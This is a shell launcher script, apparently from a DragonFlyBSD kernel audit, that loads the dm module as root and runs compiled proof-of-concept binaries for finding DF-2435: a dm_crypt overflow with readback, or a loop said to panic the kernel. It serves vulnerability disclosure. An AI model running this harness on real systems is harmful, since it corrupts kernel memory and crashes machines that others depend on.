DragonFlyBSD Kernel Audit
DF-2435 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# Run DF-2435 PoC.
# Must be run as root (or operator-group member) after `kldload dm`.
# Usage: ./run.sh [overflow|loop]
cd "$(dirname "$0")"
echo "[*] kldload dm (root)..."
kldload dm 2>/dev/null || echo "[*] dm already loaded"
mode="${1:-overflow}"
case "$mode" in
  overflow)
    echo "[*] running single-shot overflow PoC (readback proof)..."
    ./dm_crypt_overflow
    ;;
  loop)
    echo "[*] running loop PoC (200 iters, baseline panics ~100)..."
    ./dm_crypt_loop 200
    ;;
  *)
    echo "Usage: $0 [overflow|loop]"
    exit 1
    ;;
esac
echo "RUN_EXIT=$?"